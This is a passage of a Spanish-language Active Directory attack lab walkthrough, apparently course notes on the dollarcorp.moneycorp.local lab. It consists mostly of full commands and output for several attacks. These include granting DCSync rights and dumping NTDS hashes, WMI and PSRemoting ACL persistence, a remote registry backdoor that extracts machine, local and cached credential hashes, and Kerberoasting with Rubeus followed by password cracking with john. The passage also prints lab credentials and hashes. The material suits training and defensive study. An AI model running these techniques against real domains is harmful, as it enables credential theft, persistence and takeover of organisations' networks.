grab a redbull... SMB 172.16.2.1 445 DCORP-DC [-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid. ``` Luego le asignamos los permisos: ``` PS C:\AD\Tools> Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity student723 -Rights All -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(|(samAccountName=student723)(name=student723)(displayname=student723))) VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=dollarcorp,DC=moneycorp,DC=local VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(|(samAccountName=student723)(name=student723)(displayname=student723)))) VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'. VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(distinguishedname=DC=dollarcorp,DC=moneycorp,DC=local)) VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=dollarcorp,DC=moneycorp,DC=local VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(distinguishedname=DC=dollarcorp,DC=moneycorp,DC=local))) VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'. VERBOSE: [Add-DomainObjectAcl] Granting principal CN=student723,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local 'All' on DC=dollarcorp,DC=moneycorp,DC=local VERBOSE: [Add-DomainObjectAcl] Granting principal CN=student723,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local rights GUID '00000000-0000-0000-0000-000000000000' on DC=dollarcorp,DC=moneycorp,DC=local ``` Se puede validar el permiso asignado en el bloodhound.
Probamos de nuevo el dcsync. 
$ crackmapexec smb 172.16.2.1 -u student723 -p 'hT3qDFRHGzVpJtym' --ntds
SMB         172.16.2.1      445    DCORP-DC         [*] Windows 10.0 Build 20348 x64 (name:DCORP-DC) (domain:dollarcorp.moneycorp.local) (signing:True) (SMBv1:False)
SMB         172.16.2.1      445    DCORP-DC         [+] dollarcorp.moneycorp.local\student723:hT3qDFRHGzVpJtym 
SMB         172.16.2.1      445    DCORP-DC         [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         172.16.2.1      445    DCORP-DC         [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         172.16.2.1      445    DCORP-DC         Administrator:500:aad3b435b51404eeaad3b435b51404ee:af0686cc0ca8f04df42210c9ac980760:::
SMB         172.16.2.1      445    DCORP-DC         Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         172.16.2.1      445    DCORP-DC         krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4e9815869d2090ccfca61c1fe0d23986:::
SMB         172.16.2.1      445    DCORP-DC         sqladmin\sqladmin:1113:aad3b435b51404eeaad3b435b51404ee:07e8be316e3da9a042a9cb681df19bf5:::
SMB         172.16.2.1      445    DCORP-DC         websvc\websvc:1114:aad3b435b51404eeaad3b435b51404ee:cc098f204c5887eaa8253e7c2749156f:::
SMB         172.16.2.1      445    DCORP-DC         srvadmin\srvadmin:1115:aad3b435b51404eeaad3b435b51404ee:a98e18228819e8eec3dfa33cb68b0728:::
SMB         172.16.2.1      445    DCORP-DC         appadmin\appadmin:1117:aad3b435b51404eeaad3b435b51404ee:d549831a955fee51a43c83efb3928fa7:::
SMB         172.16.2.1      445    DCORP-DC         svcadmin\svcadmin:1118:aad3b435b51404eeaad3b435b51404ee:b38ff50264b74508085d82c69794a4d8:::
SMB         172.16.2.1      445    DCORP-DC         testda\testda:1119:aad3b435b51404eeaad3b435b51404ee:a16452f790729fa34e8f3a08f234a82c:::
SMB         172.16.2.1      445    DCORP-DC         mgmtadmin\mgmtadmin:1120:aad3b435b51404eeaad3b435b51404ee:95e2cd7ff77379e34c6e46265e75d754:::
Asi como se dio todos los permisos hacia el dc, tambien se puede dar permisos específicamente para DCSync. {% code overflow="wrap" %} ``` Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity student723 -Rights DCSync -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose ``` {% endcode %} # Learning Objective - 13 ## Security Descriptors ### Set-RemoteWMI Ejecutamos gwmi para verificar si tenemos permisos para ejecutar consultas wmi en el dc. ``` PS C:\ad\tools> gwmi -class win32_operatingsystem -ComputerName dcorp-dc gwmi : Access is denied. At line:1 char:1 + gwmi -class win32_operatingsystem -ComputerName dcorp-dc + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Get-WmiObject], UnauthorizedAccessException + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.GetWmiObjectCommand ``` Ahora agregamos el ACL ``` PS C:\ad\Tools> Set-RemoteWMI -SamAccountName student723 -ComputerName dcorp-dc -verbose VERBOSE: Existing ACL for namespace root is O:BAG:BAD:(A;CI;CCDCLCSWRPWPRCWD;;;BA)(A;CI;CCDCRP;;;NS)(A;CI;CCDCRP;;;LS)(A;CI;CCDCRP;;;AU) VERBOSE: Existing ACL for DCOM is O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;WD)(A;;CCDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)(A;;CCD CSW;;;S-1-15-3-1024-2405443489-874036122-4286035555-1823921565-1746547431-2453885448-3625952902-991631256) VERBOSE: New ACL for namespace root is O:BAG:BAD:(A;CI;CCDCLCSWRPWPRCWD;;;BA)(A;CI;CCDCRP;;;NS)(A;CI;CCDCRP;;;LS)(A;CI;CCDCRP;;;AU)(A;CI;CCDCLCSWRPWPRCWD;;;S- 1-5-21-719815819-3726368948-3917688648-13603) VERBOSE: New ACL for DCOM O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;WD)(A;;CCDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)(A;;CCD CSW;;;S-1-15-3-1024-2405443489-874036122-4286035555-1823921565-1746547431-2453885448-3625952902-991631256)(A;;CCDCLCSWR P;;;S-1-5-21-719815819-3726368948-3917688648-13603) ``` Luego realizamos de nuevo la consulta. ``` PS C:\ad\tools> gwmi -class win32_operatingsystem -ComputerName dcorp-dc SystemDirectory : C:\Windows\system32 Organization : BuildNumber : 20348 RegisteredUser : Windows User SerialNumber : 00454-30000-00000-AA745 Version : 10.0.20348 ``` ### Set-RemotePSRemoting Intentamos obtener una shell usando EnterPSSession ``` PS C:\ad\tools> Enter-PSSession -ComputerName dcorp-dc -Credential dcorp\student723 Enter-PSSession : Connecting to remote server dcorp-dc failed with the following error message : Access is denied. For more information, see the about_Remote_Troubleshooting Help topic. At line:1 char:1 + Enter-PSSession -ComputerName dcorp-dc -Credential dcorp\student723 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidArgument: (dcorp-dc:String) [Enter-PSSession], PSRemotingTransportException + FullyQualifiedErrorId : CreateRemoteRunspaceFailed ``` Ahora agregamos el ACL. ``` PS C:\ad\Tools> Set-RemotePSRemoting -SamAccountName student723 -ComputerName dcorp-dc -Verbose [dcorp-dc] Processing data from remote server dcorp-dc failed with the following error message: The I/O operation has been aborted because of either a thread exit or an application request. For more information, see the about_Remote_Troubleshooting Help topic. + CategoryInfo : OpenError: (dcorp-dc:String) [], PSRemotingTransportException + FullyQualifiedErrorId : WinRMOperationAborted,PSSessionStateBroken ``` No le demos importancia al error e intentemos obtener la powershell remota de nuevo. ``` PS C:\ad\tools> Enter-PSSession -ComputerName dcorp-dc -Credential dcorp\student723 [dcorp-dc]: PS C:\Users\student723\Documents> whoami dcorp\student723 [dcorp-dc]: PS C:\Users\student723\Documents> ``` Y funcionó :D. ### Add-RemoteRegBackdoor Agregamos registros para poder extraer informacion: ``` PS C:\ad\Tools> Add-RemoteRegBackdoor -ComputerName dcorp-dc -Trustee student723 -Verbose VERBOSE: [dcorp-dc : ] Using trustee username 'student723' VERBOSE: [dcorp-dc] Remote registry is not running, attempting to start VERBOSE: [dcorp-dc] Attaching to remote registry through StdRegProv VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg] Backdooring started for key VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg] Creating ACE with Access Mask of 983103 (ALL_ACCESS) and AceFlags of 2 (CONTAINER_INHERIT_ACE) VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg] Creating the trustee WMI object with user 'student723' VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg] Applying Trustee to new Ace VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg] Calling SetSecurityDescriptor on the key with the newly created Ace VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg] Backdooring completed for key VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\JD] Backdooring started for key VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\JD] Creating ACE with Access Mask of 983103 (ALL_ACCESS) and AceFlags of 2 (CONTAINER_INHERIT_ACE) VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\JD] Creating the trustee WMI object with user 'student723' VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\JD] Applying Trustee to new Ace VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\JD] Calling SetSecurityDescriptor on the key with the newly created Ace VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\JD] Backdooring completed for key VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Skew1] Backdooring started for key VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Skew1] Creating ACE with Access Mask of 983103 (ALL_ACCESS) and AceFlags of 2 (CONTAINER_INHERIT_ACE) VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Skew1] Creating the trustee WMI object with user 'student723' VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Skew1] Applying Trustee to new Ace VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Skew1] Calling SetSecurityDescriptor on the key with the newly created Ace VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Skew1] Backdooring completed for key VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Data] Backdooring started for key VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Data] Creating ACE with Access Mask of 983103 (ALL_ACCESS) and AceFlags of 2 (CONTAINER_INHERIT_ACE) VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Data] Creating the trustee WMI object with user 'student723' VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Data] Applying Trustee to new Ace VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Data] Calling SetSecurityDescriptor on the key with the newly created Ace VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\Data] Backdooring completed for key VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\GBG] Backdooring started for key VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\GBG] Creating ACE with Access Mask of 983103 (ALL_ACCESS) and AceFlags of 2 (CONTAINER_INHERIT_ACE) VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\GBG] Creating the trustee WMI object with user 'student723' VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\GBG] Applying Trustee to new Ace VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\GBG] Calling SetSecurityDescriptor on the key with the newly created Ace VERBOSE: [dcorp-dc : SYSTEM\CurrentControlSet\Control\Lsa\GBG] Backdooring completed for key VERBOSE: [dcorp-dc : SECURITY] Backdooring started for key VERBOSE: [dcorp-dc : SECURITY] Creating ACE with Access Mask of 983103 (ALL_ACCESS) and AceFlags of 2 (CONTAINER_INHERIT_ACE) VERBOSE: [dcorp-dc : SECURITY] Creating the trustee WMI object with user 'student723' VERBOSE: [dcorp-dc : SECURITY] Applying Trustee to new Ace VERBOSE: [dcorp-dc : SECURITY] Calling SetSecurityDescriptor on the key with the newly created Ace VERBOSE: [dcorp-dc : SECURITY] Backdooring completed for key VERBOSE: [dcorp-dc : SAM\SAM\Domains\Account] Backdooring started for key VERBOSE: [dcorp-dc : SAM\SAM\Domains\Account] Creating ACE with Access Mask of 983103 (ALL_ACCESS) and AceFlags of 2 (CONTAINER_INHERIT_ACE) VERBOSE: [dcorp-dc : SAM\SAM\Domains\Account] Creating the trustee WMI object with user 'student723' VERBOSE: [dcorp-dc : SAM\SAM\Domains\Account] Applying Trustee to new Ace The property 'DACL' cannot be found on this object. Verify that the property exists and can be set. At C:\ad\Tools\RACE.ps1:2268 char:13 + $RegSD.DACL += $RegAce.PSObject.ImmediateBaseObject + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (:) [], RuntimeException + FullyQualifiedErrorId : PropertyNotFound VERBOSE: [dcorp-dc : SAM\SAM\Domains\Account] Calling SetSecurityDescriptor on the key with the newly created Ace VERBOSE: [dcorp-dc : SAM\SAM\Domains\Account] Backdooring completed for key VERBOSE: [dcorp-dc] Backdooring completed for system ComputerName BackdoorTrustee ------------ --------------- dcorp-dc student723 ``` Ahora podemos extraer info como: Extraer el hash del computador. ``` PS C:\AD\Tools> . .\RACE.ps1 PS C:\AD\Tools> Get-RemoteMachineAccountHash -ComputerName dcorp-dc -Verbose VERBOSE: Bootkey/SysKey : BAB78ACD91795C983AEF0534E0DB38C7 VERBOSE: LSA Key : BDC807FEC0BB38EB0AE338451573904220F8B69404F719BDDB03F8618E84005C ComputerName MachineAccountHash ------------ ------------------ dcorp-dc ef7a661f7edb7f5a1be191640342d6b7 ``` Extraer hash de las cuentas locales. ``` PS C:\AD\Tools> Get-RemoteLocalAccountHash -ComputerName dcorp-dc -Verbose VERBOSE: Bootkey/SysKey : BAB78ACD91795C983AEF0534E0DB38C7 VERBOSE: HBootKey : 3A7C1B66C61B8E967267FA0CB9D560265774BB4ACA899D52D1DC5ADD11C20C19 ComputerName : dcorp-dc UserName : Administrator UserRID : 500 UserLMHash : f618da2acca75dbd3afd9486927b2f05 UserNTLMHash : 24275a16f48a1ad2580f4146ba1d192c ComputerName : dcorp-dc UserName : Guest UserRID : 501 UserLMHash : c09e6e3be671fbc51afb1722e5777af5 UserNTLMHash : f269747c02eebd676a1e8221ad80bc74 ComputerName : dcorp-dc UserName : DefaultAccount UserRID : 503 UserLMHash : 61b3c0708bd8d8dc4be7dba6056eb71e UserNTLMHash : 8f049f1b7806434b7cdf2821a375eec8 ComputerName : dcorp-dc UserName : WDAGUtilityAccount UserRID : 504 UserLMHash : aad3b435b51404eeaad3b435b51404ee UserNTLMHash : 31d6cfe0d16ae931b73c59d7e0c089c0 ``` Las domain cached credentials. ``` PS C:\AD\Tools> Get-RemoteCachedCredential -ComputerName dcorp-dc -Verbose VERBOSE: Bootkey/SysKey : BAB78ACD91795C983AEF0534E0DB38C7 VERBOSE: LSA Key : BDC807FEC0BB38EB0AE338451573904220F8B69404F719BDDB03F8618E84005C VERBOSE: NL$KM Key : 21 55 A8 F7 64 DD 9A FA 80 95 0F 03 E8 E4 76 5E 11 34 99 56 DE 62 E1 00 C6 FD 7D B8 14 AF 4F 73 58 C1 68 E3 16 E2 04 98 93 A5 39 C6 1B 7A E4 19 FE E6 EF DC 73 64 72 8C F9 2A F2 5C 68 D2 DB 73 ``` # Learning Objective - 14 Listamos los servicios en el AD. ``` PS C:\AD\Tools\ADModule-master\ActiveDirectory> Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName DistinguishedName : CN=krbtgt,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local Enabled : False GivenName : Name : krbtgt ObjectClass : user ObjectGUID : 956ae091-be8d-49da-966b-0daa8d291bb2 SamAccountName : krbtgt ServicePrincipalName : {kadmin/changepw} SID : S-1-5-21-719815819-3726368948-3917688648-502 Surname : UserPrincipalName : DistinguishedName : CN=web svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local Enabled : True GivenName : web Name : web svc ObjectClass : user ObjectGUID : b7ab147c-f929-4ad2-82c9-7e1b656492fe SamAccountName : websvc ServicePrincipalName : {SNMP/ufc-adminsrv.dollarcorp.moneycorp.LOCAL, SNMP/ufc-adminsrv} SID : S-1-5-21-719815819-3726368948-3917688648-1114 Surname : svc UserPrincipalName : websvc DistinguishedName : CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local Enabled : True GivenName : svc Name : svc admin ObjectClass : user ObjectGUID : 244f9c84-7e33-4ed6-aca1-3328d0802db0 SamAccountName : svcadmin ServicePrincipalName : {MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433, MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local} SID : S-1-5-21-719815819-3726368948-3917688648-1118 Surname : admin UserPrincipalName : svcadmin PS C:\AD\Tools\ADModule-master\ActiveDirectory> ``` Obtenemos la info ``` PS C:\AD\Tools> .\Rubeus.exe kerberoast ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Kerberoasting [*] NOTICE: AES hashes will be returned for AES-enabled accounts. [*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. [*] Target Domain : dollarcorp.moneycorp.local [*] Searching path 'LDAP://dcorp-dc.dollarcorp.moneycorp.local/DC=dollarcorp,DC=moneycorp,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' [*] Total kerberoastable users : 2 [*] SamAccountName : websvc [*] DistinguishedName : CN=web svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local [*] ServicePrincipalName : SNMP/ufc-adminsrv.dollarcorp.moneycorp.LOCAL [*] PwdLastSet : 11/14/2022 4:42:13 AM [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash : $krb5tgs$23$*websvc$dollarcorp.moneycorp.local$SNMP/ufc-adminsrv.dollarcorp.mone ycorp.LOCAL@dollarcorp.moneycorp.local*$3038292181B38C48503A748FE29CD0A4$1C49364 E5FCDCC03A6C0EB4B0DC2DDA33ECF4C8A94366F0B559C87BAC55A7425AE724B2E832985B8B3F1F63 55B2616E4F9DD7C522F5669AB6A9D44428459304B49B50AC239FD827BEFA19E9A5B3CD685F67CE71 92473F1CF7991DDD47EAE72915854F4DD500F592BB0AEA6A099AB176C3A547FC51CD1461541CA7E6 1097A734973214ED9E0AE2FD88B77482F743D9B627E9D68DC6841FC335E9F36503E6EB01315AFFFF 1658261689CEBBE7BF6F7C0EE9F1AF5A63EB8FE904049F375788E7A1F5739D969238C9291C4A6735 7B700232FFA22AEAB006AD6DA817660CA178BFA46A1893EE1BD1F726B5AE2656BFB8C86F0D0CA8CA 05FA750016C16FF0E54E835649227940A3DA0519C5E0F12AAEEF2ACC055575AD9B9F1424F6F986AA 11A94C6D2E55D9182F27F0DE790BB3ADCC26EEE0A44AB7C5CBD3AB57BEA4FD0AB4EF89C6F9EC70BE 44861432253C3DB504E4E106CEAA600F24F5B15D0F4E16F3C79A76F1CA1093496EE9CDC3A75FD104 C5D79B9FEA6C3F1975D1C164CCE13C3F4E20DBA1871EA1F80290CE3C355077FC6D84EF50F6465A9B 6A0F101029C4EEB5A0BFF3755F24D3D859348DA49B90823BA4AB1A2C819276F86B8976A90F2615D9 B5B78BF382D73D4856FEC74313C9D351E7CD44AAC9FD69686B93E3DA49261159DBAE04B28A26B81D 09E083CBBCD627891D8EF103EBF9C137B43E31C53D4700503D4FA9A3AE7AEB9EA452E65001DFAAF0 F799C26ADD436E16657521369430731CEE9A5E58465C33C63302594C2A7F1AF4BDFED8D7D2D3777C BB55E2BD17F546962D3061ECBC509470589B188D1C1435AAE2C712B8999E6A8CC3843E1CCCACBB9E DD1A2CBD64441DE79D2365E5E9601615A91F80B10CBEA2A0863575A1D140A695715BFEDF1BA8C47A 996B342430581B34164DBC5AEB1191C0210C27FA80D0FDF03C21EC0F890833AB886505AD0A7568CC 514E221DCBF27F462EE78FF29EA76373920D97A4121F9566CAF96068878A1CD362FA285C9A0FF18E 7E36AA0368A67B7B78CF01BFCAC66262072576631E818681BFAD7C9358C5151C8E469C3573DDE5C3 510AE067A1865E289B53F993270AB1EC67C77672624454B3F462C8E881CFAF65DEA0F17944567781 2538C7C29F7589660EED111E4EE5CF934517449A653348F0014DDB56359900CF43D72A697A7D5741 C633CD8BED5306AC771A0664DAD9B49CF1AA510CCBD21D4565F363D9B7E103DD800BF904ED962C64 8F8165CC8ACC8D474D7C2C9972EF7E974AFED2981D25BAE4011DE4287709A9E9EE35501D3FA1B889 9BF6CCB3433EA1052183B049959BE858B035BAB971C23B5ECEFBD09E1AB78905A006D0F9AC341546 763620DF1B73B838797CBB1A406939B0868C65603DDDAC14CD9FAAC410509F351342C4540977899B DC847D302D870AC587143ED3E7B81D2E009304B2F2DCE86E7E13E6117878983F1361AAC169FA7EA9 89D5139BC577EEC2F62466EBCEB843F909449DD5D5859A0D084A74A6976B1CB5B6C629361FE3138B 0A3EAF5DFF4A1F45E81E6F70B38E4BDED57A023DAD884B13ED5EA80F0A51988F64FEF577E5E7F62E 3478A02ECE50631746546F5F1BA93ED23CA36347931F98DA9FC956216A8027B40EC6DF7B5C1E2A9E 9F7C15C2D8784D15BAE0017F9422CC5C9B291835B5916AA8FD82A6CC9E98D7C9414EDB9E5941294F B8581CFA27B1E627D32F6624D120DAA5AE2248975A9769E974DDBD59D9D976FEDD6113002218EA73 A1D1526C2CDFB089E39929F2CABF6562588F0587C1DB6D66E029D095AB127CC21B8D13609E1E6572 982CE37 [*] SamAccountName : svcadmin [*] DistinguishedName : CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local [*] ServicePrincipalName : MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433 [*] PwdLastSet : 11/14/2022 9:06:37 AM [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash : $krb5tgs$23$*svcadmin$dollarcorp.moneycorp.local$MSSQLSvc/dcorp-mgmt.dollarcorp. moneycorp.local:1433@dollarcorp.moneycorp.local*$8DED9453E15D1F4E6640695E0CE1863 5$BD9C24E624614B8590DD68ABE4AD46CCC3E5CFF83C85FA001DD2321B6389FBA38762FD25AEF271 B2651B3047514372AA07FB9D59785FC2750B4D34F402DEE9E077DF1B912A3833BBDA24EB7F4344C2 FEE9FD4B12651D1B8E2C07F6C3DC0384BDF10592771C6AC70765F8763393AC464291262912535A62 7F52BE7B31AF74F6849A9C14BEFE2685F14A2CFA99365BCD16A5816CB1E267F89B5184A87D9B7715 D774BAA8F5F6E4A3BE1FD85E842ABD409D89B8B3A72206F6B37C1261F713C5BD60577B2AF50C0AA6 68C3568127D7D0F667F8B19833EF3EE8E6E88416727E1F26AD677F7AC013955E5367DBF39F6A04BA 5EC79015FC411986355ABF7B50B100584A3A45835C772366BDE609092EF1BC7DBE1EC73762D7618A 8348E02B241EDA1358E145B489A5619845793E7ADE0401C7B790B0F0D7CF25096802B7451DE24A71 F247777CF91A39CC7A99D935FDA62F506961DDE3653DE602A002DC15EECC191A3B90078F9D23D25E E36BA0A29099C4BFB2E0C2A5CFA18DB89BCBD7B8C496A1328F270DCF20ECCFC88164DEA8E5862359 248D25ADC788181CD68C32FF479C29CE4E1D4806B20EF41FC3E21D11B64EBBDB6A73A0CDE65D7F99 0485696571DB6C599C9E1A29B12E7F256134CECA049FD2C727DBDA6621470E670EAECEB7F0C605AD 94D6814D5C3F94DAAFD856F70BBC06899ACC6AA10FF96088066BD70B9E93B378770E500C748D8C4B F80885ED12415B1CCE3BA7555EA762608A9EC4658B2FD2B73B905F71415AF6E5FC03FAB3C1DB7CD0 DB3D92CBD9E67EE98D07DD38D2E1BEB228FF78AF7BCD01482E30E171702E3F1DFFA59375C65E412F 94A1258A36C1A88FCB81E4D1C551CB35C3AE0B3BF6CEB46FF5C118FD6DA4C14321A67733850ED463 CA4E790884D04154A1090F21E025ABA309C0587FFAB203631338B23BE417346DBE92BAA4BFAA63F6 3FAD9AFA8DB2585ED1A6C855A5ED5B6B2D98619914132BCCC679A454DBC70C96232CC1B618A98120 9C7CDB0FEEE9EE7CE0D8F630F593C939BCF985DDEB29556CC5BCD990E980CAA73C3366F18BDE6235 FB7AF49DC013A886A873710B56C37FF1117D967019E6C93B9179CBDC005280B22E7465EDFE0C15BC 291CDAFDE7E4BC2A1176B6AB60FD00068486DBFF28AFA29EFAA436D1C595EF154FAA725227CF24BC B93E07D7E652061E6B77415F7919BD34ECE67D82302F6168CD3995214C52B5BA853D832568233DBF C22779149E29345D9D4D87BBB459870E7CA431D8F7DE34D245AF7B061BD5C361EBA0595FDE1647B1 BE388E982D9B5F99F32D19009AF6EAEE73600E1AF0A8954D3BE6C6FF9930AB0C6AD25251A273F8F1 47A9E343B7CD82D57A79C3418E8111481BC337627D849655D2BD71C6E30ABDD15D4CA10CA4159B44 B979D4123467F84AAB28350A5E2978F299D58FF1B9A875E8DAF1E789B03DA396A459DE7B7BEB5E91 8FB1F00C8AC9BA163B712381E61A3C21E7B2BBD160284A1A4B43F1A31C557B221FE65B54CBE38E13 663CAF238089A110E4AE14B66E25D425BD23653F10F0FE0E6595DB079E16EA65AB728CE493B11B8B C59EEC0B898908BE1A3F52AE91A90FA62A8FFB401381E61476CB61EC9CA88CB872C5C02350612568 6056E7940A1D79F7F4783200728322B5C3922C30140647781BCAF41C5F00EE083B400CC201F5B0D3 94776977098C93F9BE8CA6D40AE111729479A2EDA565E075528843D8A7C7C75F9D8718CF02B0D73A 40338C0C6C1E39AED7B9D59461F5FAD44568711025AF60988AF7E8F684B454ED9681A3E0D810C44E 531499D3E5A97A28 ``` o tambien {% code overflow="wrap" %} ``` PS C:\AD\Tools> .\Rubeus.exe kerberoast /user:svcadmin /simple /rc4opsec /outfile:hash.txt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Kerberoasting [*] Using 'tgtdeleg' to request a TGT for the current user [*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else [*] Target User : svcadmin [*] Target Domain : dollarcorp.moneycorp.local [+] Ticket successfully imported! [*] Searching for accounts that only support RC4_HMAC, no AES [*] Searching path 'LDAP://dcorp-dc.dollarcorp.moneycorp.local/DC=dollarcorp,DC=moneycorp,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=svcadmin)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24))' [*] Total kerberoastable users : 1 [*] Hash written to C:\AD\Tools\hash.txt [*] Roasted hashes written to : C:\AD\Tools\hash.txt ``` {% endcode %} NO OLVIDEMOS ENTRAR AL ARCHIVO hash.txt y eliminar el puerto del servicio SQL antes de crackear. ``` C:\AD\Tools\john-1.9.0-jumbo-1-win64\run>john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status *ThisisBlasphemyThisisMadness!! (?) 1g 0:00:00:00 DONE (2024-03-01 05:02) 13.15g/s 26947p/s 26947c/s 26947C/s energy..mollie Use the "--show" option to display all of the cracked passwords reliably Session completed ``` # Learning Objective - 15 ## AS-REP Enumerando cuentas con preautenticacion de kerberos desactivada. ``` PS C:\AD\Tools> Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth | select UserPrincipalName UserPrincipalName ----------------- VPN721user VPN722user VPN723user VPN724user VPN725user VPN726user VPN727user VPN728user VPN729user VPN730user VPN731user VPN732user VPN733user VPN734user VPN735user VPN736user VPN737user VPN738user VPN739user VPN740user ``` Ahora, listamos los permisos para RDP Users. ``` PS C:\ad\tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} ObjectDN : CN=Control721User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local AceQualifier : AccessAllowed ActiveDirectoryRights : GenericAll ObjectAceType : None AceFlags : None AceType : AccessAllowed InheritanceFlags : None SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-1123 IdentityReferenceName : RDPUsers IdentityReferenceDomain : dollarcorp.moneycorp.local IdentityReferenceDN : CN=RDP 